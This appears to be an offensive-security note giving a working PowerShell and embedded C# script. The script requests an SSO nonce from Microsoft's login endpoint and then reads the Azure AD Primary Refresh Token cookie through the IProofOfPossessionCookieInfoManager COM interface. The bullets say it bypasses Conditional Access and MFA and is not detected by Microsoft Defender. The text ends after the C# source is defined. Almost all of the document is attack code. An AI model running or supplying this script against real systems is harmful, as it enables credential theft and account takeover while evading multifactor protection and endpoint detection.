Extract PRT cookie via PowerShell

  • One of many techniques to extract a PRT from a system with SSO
  • PWSH scripts that extracts the PRT using COM with PWSH
  • This bypasses any CA or MFA protection, since these mechanisms enter in action before this cookie is extracted.
  • 2025-08-21: Not detected by MS Defender
$params = @{
    resource      = "https://graph.microsoft.com/"
    client_id     = "ecd6b820-32c2-49b6-98a6-444530e5a77a"
    response_type = "code"
    redirect_uri  = "https://login.microsoftonline.com/common/oauth2/nativeclient"
}
# Build the query string.
$query = ($params.GetEnumerator() | ForEach-Object { "$($_.Key)=$($_.Value)" }) -join "&"
$nonceRequestUri = "https://login.microsoftonline.com/Common/oauth2/authorize?$query"
# Use a Microsoft Edge–like user agent.
$headers = @{
    "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Edg/98.0.1108.56"
}
# Request the nonce without following redirects.
try {
    $nonceResponse = Invoke-WebRequest -Uri $nonceRequestUri -Method GET -Headers $headers -MaximumRedirection 0 -UseBasicParsing -ErrorAction Stop
} catch [System.Net.WebException] {
    $webResponse = $_.Exception.Response
    $stream = $webResponse.GetResponseStream()
    $reader = New-Object System.IO.StreamReader($stream)
    $content = $reader.ReadToEnd()
    $nonceResponse = New-Object PSObject -Property @{
        StatusCode = $webResponse.StatusCode
        Headers    = $webResponse.Headers
        Content    = $content
    }
}
$nonce = $null
if ($nonceResponse.StatusCode -eq 302 -and $nonceResponse.Headers["Location"]) {
    $redirectLocation = $nonceResponse.Headers["Location"]
    $uriObj = [Uri]$redirectLocation
    $queryParams = [System.Web.HttpUtility]::ParseQueryString($uriObj.Query)
    if ($queryParams["sso_nonce"]) {
        $nonce = $queryParams["sso_nonce"]
    } else {
        exit 1
    }
} else {
    $content = $nonceResponse.Content
    $startPos = $content.IndexOf('$Config=')
    $stopPos  = $content.IndexOf('//]]></script>', $startPos)
    if ($startPos -eq -1 -or $stopPos -eq -1) { exit 1 }
    $jsonText = $content.Substring($startPos + 8, $stopPos - ($startPos + 8) - 2)
    try {
        $jdata = $jsonText | ConvertFrom-Json
        if ($jdata.bsso.nonce) {
            $nonce = $jdata.bsso.nonce
        } else {
            exit 1
        }
    } catch {
        exit 1
    }
}
if (-not $nonce) { exit 1 }
$cookieUri = "https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce"
$source = @"
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
public class CookieInfo {
    public string Name;
    public string Data;
    public uint Flags;
    public string P3PHeader;
}
[StructLayout(LayoutKind.Sequential)]
struct UnsafeCookieInfo {
    public IntPtr NameStr;
    public IntPtr DataStr;
    public uint Flags;
    public IntPtr P3PHeaderStr;
}
[ComImport, Guid("CDAECE56-4EDF-43DF-B113-88E4556FA1BB"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IProofOfPossessionCookieInfoManager {
    int GetCookieInfoForUri([MarshalAs(UnmanagedType.LPWStr)] string uri, out uint cookieInfoCount, out IntPtr output);
}
[ComImport, Guid("A9927F85-A304-4390-8B23-A75F1C668600")]
class WindowsTokenProvider {
}
public class CookieFetcher {
    public static List<CookieInfo> GetCookies(string uri) {
        IProofOfPossessionCookieInfoManager manager = (IProofOfPossessionCookieInfoManager)new WindowsTokenProvider();
        uint count;
        IntPtr ptr;
        int hr = manager.GetCookieInfoForUri(uri, out count, out ptr);
        var list = new List<CookieInfo>();
        if (count == 0 || ptr == IntPtr.Zero) {
            return list;
        }
        int structSize = Marshal.SizeOf(typeof(UnsafeCookieInfo));
        IntPtr current = ptr;
        for (int i = 0; i < count; i++) {
            UnsafeCookieInfo info = (UnsafeCookieInfo)Marshal.PtrToStructure(current, typeof(UnsafeCookieInfo));
            CookieInfo cookie = new CookieInfo {
                Name = Marshal.PtrToStringUni(info.NameStr),
                Data = Marshal.PtrToStringUni(info.DataStr),
                Flags = info.Flags,
                P3PHeader = Marshal.PtrToStringUni(info.P3PHeaderStr)
            };
            list.Add(cookie);
            Marshal.FreeCoTaskMem(info.NameStr);
            Marshal.FreeCoTaskMem(info.DataStr);
            Marshal.FreeCoTaskMem(info.P3PHeaderStr);
            current = new IntPtr(current.ToInt64() + structSize);
        }
        Marshal.FreeCoTaskMem(ptr);
        return list;
    }
}
"@